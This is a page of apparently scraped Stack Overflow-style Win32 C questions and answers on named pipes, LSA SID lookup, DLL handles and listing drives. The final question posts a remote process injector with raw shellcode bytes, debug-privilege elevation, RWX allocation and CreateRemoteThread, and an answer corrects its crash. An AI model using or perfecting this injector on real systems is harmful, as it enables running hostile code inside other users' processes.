ERROR: ‘GetNamedPipeClientProcessId’ was not declared but Winbase is included - c

I'm using Windows 10 (1709) with cygwin. Here is my code:
#include <windows.h>
#include <stdio.h>
#include <Winbase.h>
int main()
{
HANDLE hPipe;
char buffer[1024];
DWORD dwRead;
PULONG ClientProcessId = NULL;
hPipe = CreateNamedPipe(TEXT("\\\\.\\pipe\\Pipe"),
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
1,
1024 * 16,
1024 * 16,
NMPWAIT_USE_DEFAULT_WAIT,
NULL);
while (hPipe != INVALID_HANDLE_VALUE)
{
if (ConnectNamedPipe(hPipe, NULL) != FALSE)
{
if (GetNamedPipeClientProcessId(hPipe, ClientProcessId) != 0)
{
printf("ID -> %lu\n", ClientProcessId);
fflush(stdout);
}
}
}
}
This is a little test program which just creates a server pipe and starts to listen to it, and when someone gets connected it just prints pipe client processes ID.
The problem I'm having is
error: ‘GetNamedPipeClientProcessId’ was not declared in this scope
if (GetNamedPipeClientProcessId(hPipe, ClientProcessId) == 0)
Since I got Winbase.h included it was really strange, I opened Winbase.h and found declaration of this function:
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
WINBASEAPI
BOOL
WINAPI
GetNamedPipeClientProcessId(
_In_ HANDLE Pipe,
_Out_ PULONG ClientProcessId
);
After quick google search I've found that WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) is just to determine what platform you have and what API's are suitable for your platform ( winapifamily.h). Seems like it function should be available on desktop platforms.
I've got little confused here. What else could be the problem? thanks.

Related

How to use LsaLookupSids2 correctly?

I'm trying to retrieve the information from a share using the C Windows API. For compilation I'm using the MINGW64 flavor of MSYS2 (https://www.msys2.org/docs/environments/). But I'm having problems when I try to convert the SIDs in the security descriptor to plain text names. This is a simplified version of my code:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <lm.h>
#include <ntstatus.h>
#include <ntsecapi.h>
int main(int argc, char **argv) {
NET_API_STATUS res1;
NTSTATUS res2;
// Get info from share
SHARE_INFO_502 *info;
res1 = NetShareGetInfo(L"domain.tld", L"test", 502, (LPBYTE *)&info);
if (res1 != 0) {
fprintf(stderr,
"NetShareGetInfo failed with error %d\n",
res1);
exit(EXIT_FAILURE);
}
// Validate security descriptor
SECURITY_DESCRIPTOR *sd = info->shi502_security_descriptor;
if (IsValidSecurityDescriptor(sd) == 0) {
fprintf(stderr, "Security descriptor is not valid\n");
exit(EXIT_FAILURE);
}
// Open policy handle
LSA_HANDLE polHandle;
LSA_OBJECT_ATTRIBUTES polAttrs;
memset(&polAttrs, '\0', sizeof(polAttrs)); // must be zero according to docs
res2 = LsaOpenPolicy(NULL, &polAttrs, POLICY_EXECUTE, &polHandle);
if (res2 != STATUS_SUCCESS) {
fprintf(stderr,
"LsaOpenPolicy failed with error %d (converted from %lX)\n",
LsaNtStatusToWinError(res2), res2);
exit(EXIT_FAILURE);
}
// Translate owner SID
LSA_TRANSLATED_NAME *names;
LSA_REFERENCED_DOMAIN_LIST *domains;
res2 = LsaLookupSids2(polHandle, 0, 1, &sd->Owner, &domains, &names);
if (res2 != STATUS_SUCCESS) {
fprintf(stderr,
"LsaLookupSids2 failed with error %d (converted from %lX)\n",
LsaNtStatusToWinError(res2), res2);
exit(EXIT_FAILURE);
}
// do something here with names and domains
LsaFreeMemory(names);
LsaFreeMemory(domains);
return 0;
}
I then compile it and execute it:
C:\Users\myname\Desktop\c-tests\sdproblem>main.exe
LsaLookupSids2 failed with error 87 (converted from C000000D)
Error 87 means "The parameter is incorrect". It seems I'm not passing the arguments correctly to the LsaLookupSids2 function. But I'm not able to see what I'm doing wrong. I've tried passing some flags in the second argument instead of 0 to no avail. I've also tried to use LsaLookupSids (and remove the second argument) but still no luck. The share exists and the permissions can be retrieved by icacls:
C:\Users\myname\Desktop\c-tests\sdproblem>icacls \\domain.tld\test
\\domain.tld\test Everyone:(OI)(CI)(F)
Can someone help me with this issue?

CallNamedPipe and TransactNamedPipe don't work

I want to send message to server and read it using named pipes. When I use WriteFile function, the message gets to the server, but TransactNamedPipe fails with error 230 (ERROR_BAD_PIPE) and CallNamedPipe fails with error 87 (INVALID_PARAMETER) or 231 (PIPE_BUSY). I've tried MSDN examples, a lot of other stuff, but still no results. Please help.
Client:
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <tchar.h>
#include <string>
#define BUFSIZE 512
int _tmain(int argc, TCHAR *argv[])
{
OVERLAPPED ov;
ZeroMemory(&ov, sizeof(OVERLAPPED));
HANDLE hPipe;
// Try to open a named pipe; wait for it, if necessary.
while (1)
{
hPipe = CreateFile(
L"\\\\.\\pipe\\PipeTest", // pipe name
GENERIC_READ | // read and write access
GENERIC_WRITE,
0, // no sharing
NULL, // default security attributes
OPEN_EXISTING, // opens existing pipe
FILE_FLAG_OVERLAPPED,
NULL); // no template file
// Break if the pipe handle is valid.
if (hPipe != INVALID_HANDLE_VALUE)
break;
DWORD lastErr = GetLastError();
// Exit if an error other than ERROR_PIPE_BUSY occurs.
if (GetLastError() != ERROR_PIPE_BUSY)
{
printf("Could not open pipe\n");
return 0;
}
// All pipe instances are busy, so wait for 2 seconds.
if (!WaitNamedPipe(L"\\\\.\\pipe\\PipeTest", 2000))
{
printf("Could not open pipe\n");
return 0;
}
}
std::wstring s;
s.resize(1024);
DWORD cbRead;
BOOL fSuccess = TransactNamedPipe(
hPipe, // pipe handle
L"Hello", // message to server
sizeof(wchar_t) * 5, // message length
&s[0],
s.size() * sizeof(wchar_t),
&cbRead, // bytes read
&ov); // not overlapped
DWORD lastErr = GetLastError();
GetOverlappedResult(hPipe, &ov, &cbRead, TRUE);
DWORD lastErr2 = GetLastError();
CloseHandle(hPipe);
return 0;
}
Server:
#include <iostream>
#include <string>
#include <Windows.h>
const std::wstring pipeName = L"\\\\.\\pipe\\PipeTest";
int main(void)
{
HANDLE hPipe;
wchar_t buffer[256];
DWORD dwRead;
OVERLAPPED ov;
ZeroMemory(&ov, sizeof(OVERLAPPED));
hPipe = CreateNamedPipe(pipeName.c_str(),
PIPE_ACCESS_DUPLEX | PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, // FILE_FLAG_FIRST_PIPE_INSTANCE is not needed but forces CreateNamedPipe(..) to fail if the pipe already exists...
PIPE_WAIT,
1,
1024 * 16,
1024 * 16,
NMPWAIT_USE_DEFAULT_WAIT,
NULL);
if (hPipe != INVALID_HANDLE_VALUE)
{
if (ConnectNamedPipe(hPipe, &ov) != FALSE) // wait for someone to connect to the pipe
{
while (ReadFile(hPipe, buffer, 255, &dwRead, &ov) != FALSE)
{
WriteFile(hPipe, L"lalala", 6 * sizeof(wchar_t), &dwRead, &ov);
DWORD lastErr1 = GetLastError();
GetOverlappedResult(hPipe, &ov, &dwRead, TRUE);
DWORD lastrr2 = GetLastError();
printf("%s", buffer);
}
}
DisconnectNamedPipe(hPipe);
}
return 0;
}
if you read about TransactNamedPipe
TransactNamedPipe fails if the server did not create the pipe as a
message-type pipe or if the pipe handle is not in message-read mode.
and CallNamedPipe
Calling CallNamedPipe is equivalent to calling the CreateFile (or
WaitNamedPipe, if CreateFile cannot open the pipe immediately),
TransactNamedPipe, and CloseHandle functions
so this functions work only message-type pipe
but when you create server pipe you use PIPE_TYPE_BYTE | PIPE_READMODE_BYTE
so CallNamedPipe and/or TransactNamedPipe and must fail.
you need use ReadFile/WriteFile instead. or create server with flags PIPE_TYPE_MESSAGE|PIPE_READMODE_MESSAGE and call SetNamedPipeHandleState for client handle for set it message-read mode (use PIPE_READMODE_MESSAGE)

Passing a HANDLE to a DLL

I'm new to Win32 programming.
I'm trying to pass a HANDLE obtained using CreateFile() to a function in a DLL.
But upon trying to read bytes, dwBytesRead says 0.
Am I allowed to pass HANDLEs to DLL entries? I read here [Writing DLLs] that resources of the caller do not belong to callee, and hence I should not call CloseHandle() or things like free() for malloc() in caller.
Is my understanding correct? Kindly point me in the right direction. Here's the code:
main.c
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <strsafe.h>
#define BUFFERSIZE 5
int __declspec( dllimport ) hello( HANDLE );
void __cdecl _tmain(int argc, TCHAR *argv[])
{
HANDLE hFile;
printf("\n");
if( argc != 2 )
{
printf("Usage Error: Incorrect number of arguments\n\n");
_tprintf(TEXT("Usage:\n\t%s <text_file_name>\n"), argv[0]);
return;
}
hFile = CreateFile(argv[1], // file to open
GENERIC_READ, // open for reading
FILE_SHARE_READ, // share for reading
NULL, // default security
OPEN_EXISTING, // existing file only
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, // normal file
NULL); // no attr. template
if (hFile == INVALID_HANDLE_VALUE)
{
_tprintf(TEXT("Terminal failure: unable to open file \"%s\" for read.\n"), argv[1]);
return;
}
printf( "Entered main, calling DLL.\n" );
hello(hFile);
printf( "Back in main, exiting.\n" );
CloseHandle(hFile);
}
hello.c
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <strsafe.h>
#define BUFFERSIZE 5
DWORD g_BytesTransferred = 0;
VOID CALLBACK FileIOCompletionRoutine(
__in DWORD dwErrorCode,
__in DWORD dwNumberOfBytesTransfered,
__in LPOVERLAPPED lpOverlapped )
{
_tprintf(TEXT("Error code:\t%x\n"), dwErrorCode);
_tprintf(TEXT("Number of bytes:\t%x\n"), dwNumberOfBytesTransfered);
g_BytesTransferred = dwNumberOfBytesTransfered;
}
int __declspec( dllexport ) hello( HANDLE hFile )
{
DWORD dwBytesRead = 0;
char ReadBuffer[BUFFERSIZE] = {0};
OVERLAPPED ol = {0};
if( FALSE == ReadFileEx(hFile, ReadBuffer, BUFFERSIZE-1, &ol, FileIOCompletionRoutine) )
{
DWORD lastError = GetLastError();
printf("Terminal failure: Unable to read from file.\n GetLastError=%08x\n", lastError);
return lastError;
}
dwBytesRead = g_BytesTransferred;
if (dwBytesRead > 0 && dwBytesRead <= BUFFERSIZE-1)
{
ReadBuffer[dwBytesRead]='\0';
printf("Data read from file (%d bytes): \n", dwBytesRead);
printf("%s\n", ReadBuffer);
}
else if (dwBytesRead == 0)
{
printf("No data read from file \n");
}
else
{
printf("\n ** Unexpected value for dwBytesRead ** \n");
}
printf( "Hello from a DLL!\n" );
return( 0 );
}
You are missing the SleepEx(5000, TRUE) call from the example.
You are using async-io, in which case you will receive a callback when the read occurs. If you don't wait for the callback you may get 0 bytes read depending on when the callback is triggered.

How to get the list of all drives in C

Is there any method using which i can list down all the available drives and their folder content. ie i want to access all the drives and then the folders in each drive and then the sub-folders of each folder and so on till the last possible level in each drive.
C language .. Windows platform .. i have tried using alphabetic array with system() but am unable to get the names of files and folders .
This is not "standard C" (ie: ANSI, C89, C99, etc), but it makes minimal use of operating-system specific calls (ie: just "windows.h", not MS .NET or MFC technologies). This is the minimalist approach to what you are attempting to do. Once you have a list of all drive letters, you need to query each drive recursively for its directory listings.
This is a mix of C and C++, but you'll likely be using a free version of Visual Studio to build this anyways.
Code Listing - Get drive letters
#include <windows.h>
#include <stdio.h>
int main()
{
char buf[255];
// get the drive letters as a set of strings
int sz = GetLogicalDriveStrings(sizeof(buf), buf);
if( sz > 0)
{
// buf now contains a list of all the drive letters. Each drive letter is
// terminated with '\0' and the last one is terminated by two consecutive '\0' bytes.
char* p1 = buf;
char* p2;
while( *p1 != '\0' && (p2 = strchr(p1,'\0')) != NULL )
{
printf("%s\n", p1);
p1 = p2+1;
}
}
else
{
// Oops! something went wrong so display the error message
DWORD dwError = GetLastError();
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, 0, dwError, 0, buf, sizeof(buf), 0);
printf("%s\n", buf);
}
}
Code Listing - Directory listing
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include <strsafe.h>
#pragma comment(lib, "User32.lib")
void DisplayErrorBox(LPTSTR lpszFunction);
int _tmain(int argc, TCHAR *argv[])
{
WIN32_FIND_DATA ffd;
LARGE_INTEGER filesize;
TCHAR szDir[MAX_PATH];
size_t length_of_arg;
HANDLE hFind = INVALID_HANDLE_VALUE;
DWORD dwError=0;
// If the directory is not specified as a command-line argument,
// print usage.
if(argc != 2)
{
_tprintf(TEXT("\nUsage: %s <directory name>\n"), argv[0]);
return (-1);
}
// Check that the input path plus 3 is not longer than MAX_PATH.
// Three characters are for the "\*" plus NULL appended below.
StringCchLength(argv[1], MAX_PATH, &length_of_arg);
if (length_of_arg > (MAX_PATH - 3))
{
_tprintf(TEXT("\nDirectory path is too long.\n"));
return (-1);
}
_tprintf(TEXT("\nTarget directory is %s\n\n"), argv[1]);
// Prepare string for use with FindFile functions. First, copy the
// string to a buffer, then append '\*' to the directory name.
StringCchCopy(szDir, MAX_PATH, argv[1]);
StringCchCat(szDir, MAX_PATH, TEXT("\\*"));
// Find the first file in the directory.
hFind = FindFirstFile(szDir, &ffd);
if (INVALID_HANDLE_VALUE == hFind)
{
DisplayErrorBox(TEXT("FindFirstFile"));
return dwError;
}
// List all the files in the directory with some info about them.
do
{
if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
_tprintf(TEXT(" %s <DIR>\n"), ffd.cFileName);
}
else
{
filesize.LowPart = ffd.nFileSizeLow;
filesize.HighPart = ffd.nFileSizeHigh;
_tprintf(TEXT(" %s %ld bytes\n"), ffd.cFileName, filesize.QuadPart);
}
}
while (FindNextFile(hFind, &ffd) != 0);
dwError = GetLastError();
if (dwError != ERROR_NO_MORE_FILES)
{
DisplayErrorBox(TEXT("FindFirstFile"));
}
FindClose(hFind);
return dwError;
}
void DisplayErrorBox(LPTSTR lpszFunction)
{
// Retrieve the system error message for the last-error code
LPVOID lpMsgBuf;
LPVOID lpDisplayBuf;
DWORD dw = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
// Display the error message and clean up
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,
(lstrlen((LPCTSTR)lpMsgBuf)+lstrlen((LPCTSTR)lpszFunction)+40)*sizeof(TCHAR));
StringCchPrintf((LPTSTR)lpDisplayBuf,
LocalSize(lpDisplayBuf) / sizeof(TCHAR),
TEXT("%s failed with error %d: %s"),
lpszFunction, dw, lpMsgBuf);
MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);
LocalFree(lpMsgBuf);
LocalFree(lpDisplayBuf);
}
References
List Windows Logical Drive Letters, Accessed 2014-08-01, <http://www.daniweb.com/software-development/c/code/237803/list-windows-logical-drive-letters>
Listing the Files in a Directory, Accessed 2014-08-01, <http://msdn.microsoft.com/en-us/library/windows/desktop/aa365200%28v=vs.85%29.aspx>
Standard C has no way to directly address the drive, or, for that matter, even know what a drive is.
Generally, each C compiler vendor will include a library which handles those things for the specific platform the compiler is written for. But these are all specific to the vendor.
Boost has cross-platform library for C++, including one for dealing with the file system.

Windows Process injection crash

this is my first semi-major C project. I'm a self taught programmer so if my code has any major flaws OR if you happen to have any tips for me, please point them out, I'm very eager to learn. Thank you.
Anyway, I decided to code a process injector for windows, as title says, and I every time I attempt to inject the windows XP SP2 calc into designated process, it crashes. The reason I had decided to make it XP based was because this is a test version/POC/whatever.
Is this because the shellcode is only applicable for specific processes?
I had attempted different processes, explorer.exe, firefox.exe, etc. Still crashes.
Oh, and FYI my ASM isn't the best so I borrowed some shellcode from shell-storm
Also, how does the code look? I had some problems understanding the MSDN API for some of the psapi / windows parameters. It seemed kind of vague, and it was kind of hard to find examples online for some of my questions.
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#define BYTESIZE 100
void ProcessIdentf(DWORD ProcessID);
//Required for Process Handling rights
int SeDebugMode(HANDLE ProcessEnabled, LPCTSTR Base_Name);
int main(void){
//x86 | Windows XP SP2 | calc.exe call
//POC data
unsigned char call_calc[] =
"\x31\xc0\xeb\x13\x5b\x88\x43\x0e\x53\xbb\xad\x23\x86\x7c\xff\xd3\xbb"
"\xfa\xca\x81\x7c\xff\xd3\xe8\xe8\xff\xff\xff\x63\x6d\x64\x2e\x65\x78"
"\x65\x20\x2f\x63\x20\x63\x6d\x64";
//Process HANDLE && Process Identifier WORD
HANDLE FfHandle;
int ProcID;
//VirtualAllocMemPnter
LPVOID lpv = NULL;
//Typecasted pointer to Shellcode
char* shellptr = call_calc;
//Handle for CreateRemoteThread function
HANDLE ControlStructRemote;
//Number of bytes successfully executed
SIZE_T bytescom;
//Data for Process enumeration
DWORD xyProcesses[1024]; //Max_Proc
DWORD abProcesses, cntbNeeded;
unsigned int c;
printf("POC version x00.\nInjects example x86 shellcode into process.\n");
SeDebugMode(GetCurrentProcess(), SE_DEBUG_NAME);
printf("SE_DEBUG_PRIVILEGE successfully enabled.\nPrinting process' eligable for injection\n");
Sleep(10000);
if(!EnumProcesses(xyProcesses, sizeof(xyProcesses), &cntbNeeded)){
exit(1);
}
abProcesses = cntbNeeded / sizeof(DWORD);
//Enumerate processes owned by current user
for(c = 0; c < abProcesses; c++){
if(xyProcesses[c] != 0){
ProcessIdentf(xyProcesses[c]);
}
}
printf("Process PID required\n");
scanf("%d", &ProcID);
FfHandle = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
ProcID);
lpv = VirtualAllocEx(FfHandle,
NULL,
BYTESIZE,
MEM_COMMIT,
0x40); //PAGE_EXECUTE_READWRITE
if(WriteProcessMemory(FfHandle, lpv, &shellptr, sizeof(shellptr), &bytescom) != 0){
ControlStructRemote = CreateRemoteThread(FfHandle,
0,
0,
(DWORD (__stdcall*) (void*)) shellptr,
0,
0,
0);
if(ControlStructRemote){
printf("POC shellcode successful.\n");
}
else{
printf("Failure, CreateRemoteThread could not spawn a remote thread or failed to exec in target process\n");
}
}
return 0;
}
void ProcessIdentf(DWORD ProcID){
//Enumerates PID and modules. Prints. Implement in loop
//unicode char, max ntfs datafile
TCHAR szProcessname[MAX_PATH] = TEXT("<unknown>");
//open proc handle
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE, ProcID);
//enum modules
if(NULL != hProcess){
HMODULE hMod;
DWORD cbNeed;
if(EnumProcessModules(hProcess,&hMod, sizeof(hMod),&cbNeed))
{
GetModuleBaseName(hProcess, hMod, szProcessname,
sizeof(szProcessname)/sizeof(TCHAR));
}
}
//print PID
printf("%s PID: %u\n", szProcessname, ProcID);
//close processhandle
CloseHandle(hProcess);
}
int SeDebugMode(HANDLE xyProcess, LPCTSTR DebugPriv){
HANDLE hTokenProc;
LUID xDebugVal;
TOKEN_PRIVILEGES tPriv;
if(OpenProcessToken(xyProcess,
TOKEN_ADJUST_PRIVILEGES,
&hTokenProc)){
if(LookupPrivilegeValue(NULL, DebugPriv, &xDebugVal)){
tPriv.PrivilegeCount = 1;
tPriv.Privileges[0].Luid = xDebugVal;
tPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hTokenProc,
FALSE,
&tPriv,
sizeof(TOKEN_PRIVILEGES),
NULL,
NULL
);
if(GetLastError() == ERROR_SUCCESS){
return TRUE;
}
}
}
return FALSE;
}
You create the remote thread at shellptr, but it should be lpv where you wrote the code to.
BTW, try to avoid PROCESS_ALL_ACCESS, only specify what exact access you need (it's all on MSDN for each API)

Resources